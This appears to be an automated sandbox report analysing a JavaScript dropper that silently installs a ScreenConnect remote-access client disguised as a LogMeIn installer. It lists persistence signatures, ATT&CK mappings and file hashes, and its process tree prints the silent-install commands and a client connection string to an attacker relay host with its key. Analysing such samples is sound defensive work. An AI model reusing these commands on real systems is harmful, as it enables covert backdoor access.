Overview

overview

8

Static

static

1

lighterapp.mehsino.js

windows10-2004-x64

8

lighterapp.mehsino.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/09/2026, 06:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lighterapp.mehsino.js
  • Size 9KB
  • Sample260907-g197xsysft
  • SHA256 ce4ef66d6a1dc4a563da5a6f22b2cf79d756a1e62ebf99f2fb1545957c834fec
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 22 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\lighterapp.mehsino.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4720
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\lighterapp.mehsino.js" elevated
      2⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Windows\Temp\LogMeInResolve_Unattended.msi" /qn /norestart /l*v "C:\Windows\Temp\LogMeIn_MSI.log"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3664
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4128
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D91F56811F131FAFDB6C41953B39CF8C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5100
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI8E60.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240684906 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4972
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8B770D54B01DD00B84CFC171DA9A39AA E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3724
  • C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.mbriana.org&p=8041&s=fa66f4c0-ce3c-4f46-8e36-e6e38f855928&k=BgIAAACkAABSU0ExAAgAAAEAAQA9Hy3pmHKQEXUWw089AJcUrXZo0wPIdi5z2NDfVcWCKsYN9tkapcGgaRvFpHq57apKBLLJu5qX9SJegCueAxszCZUNQqlMlvoAgQosGn8mBa98KFmuZTMBUaL7W6PuOiok8usrSWrhI2ouiVaB5Xf8HHojbRzdkbPbQXlxXVZ0z%2fU6VJj%2bXYb8L2NWXRQyhTNnzoGlGFz7Drp7A1tabL52d8vayeLM%2fK%2f%2fBxbG1L%2f5GvoyjtnPp2Yx5wJAH47KG0G%2fX0xC1VUygH7mt51w57Aqa6MuH7UUPg6j%2f0XgemDJEfff0gRjmu%2fnuxg2whJNPOJtUFhHY3hwdhOlAvXJpr6d"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsClient.exe" "RunRole" "3ba30497-dd90-41ae-89ca-6737cf1be3e0" "User"
      2⤵
      • Executes dropped EXE
      PID:740
    • C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsClient.exe" "RunRole" "2348b3fa-4784-4655-a9a0-58fa086e00de" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4988

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        JavaScript

        1
        T1059.007

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        3
        T1012

        System Information Discovery

        4
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e588bc3.rbs
        • Path C:\Config.Msi\e588bc3.rbs
        • Size 214KB
        • SHA256 891306f8d23dde5bfac322ccddac306772c35c1103c5927b55a933fe51892f8d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.Override.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\Client.Override.en-US.resources
        • Size 321B
        • SHA256 ddb76820080f94ec07dadcdafa74f42e6a85bb5cea3ecf2db34dee3fcd19eeeb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\Client.en-US.resources
        • Size 48KB
        • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsClient.exe
        • Size 588KB
        • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 822KB
        • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\app.config
        • Size 1KB
        • SHA256 e98c25dbc0892b0a6c75dfc9c580a400b9bec3742bac4e137c13cf7ab2fcbd91
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (3669ccc84d06d36b)\system.config
        • Size 941B
        • SHA256 eb7014977c05099aded1fcfcfb2219cec1421ed26e7d6a9a4d5da7a1fc9b3ef9
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        MSI8E60.tmp
        • Path C:\Windows\Installer\MSI8E60.tmp
        • Size 1.0MB
        • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI8E60.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI8E60.tmp-\ScreenConnect.Core.dll
        • Size 536KB
        • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI8E60.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI8E60.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI9874.tmp
        • Path C:\Windows\Installer\MSI9874.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        LogMeInResolve_Unattended.msi
        • Path C:\Windows\Temp\LogMeInResolve_Unattended.msi
        • Size 11.1MB
        • SHA256 de2644b129ac8c3f0eb791e4b96988080cfe27d4059e37e6e68a75e6264d1aaa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        LogMeIn_MSI.log
        • Path C:\Windows\Temp\LogMeIn_MSI.log
        • Size 1KB
        • SHA256 be24141b904178ba7fd26111ccd0f787a2df5ede68c9b2b1357918171f1f4327
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/740-142-0x000000001CDE0000-0x000000001CF66000-memory.dmp
        Download

        memory/740-148-0x000000001B670000-0x000000001B688000-memory.dmp
        Download

        memory/740-139-0x000000001BB80000-0x000000001BD2A000-memory.dmp
        Download

        memory/740-147-0x0000000002B00000-0x0000000002B18000-memory.dmp
        Download

        memory/740-138-0x000000001B940000-0x000000001B9CC000-memory.dmp
        Download

        memory/740-136-0x0000000002B20000-0x0000000002B56000-memory.dmp
        Download

        memory/740-132-0x00000000009F0000-0x0000000000A86000-memory.dmp
        Download

        memory/1252-122-0x00000000048A0000-0x00000000048E1000-memory.dmp
        Download

        memory/1252-119-0x0000000004680000-0x00000000046B6000-memory.dmp
        Download

        memory/1252-120-0x0000000004940000-0x00000000049D2000-memory.dmp
        Download

        memory/1252-124-0x0000000004B20000-0x0000000004BF2000-memory.dmp
        Download

        memory/1252-115-0x0000000004630000-0x0000000004680000-memory.dmp
        Download

        memory/1252-94-0x00000000043C0000-0x00000000043D8000-memory.dmp
        Download

        memory/4972-46-0x00000000055B0000-0x00000000055BA000-memory.dmp
        Download

        memory/4972-42-0x0000000005570000-0x000000000559E000-memory.dmp
        Download

        memory/4972-54-0x0000000005890000-0x0000000005A3A000-memory.dmp
        Download

        memory/4972-50-0x0000000005650000-0x00000000056DC000-memory.dmp
        Download

        memory/4972-55-0x0000000005FF0000-0x0000000006594000-memory.dmp
        Download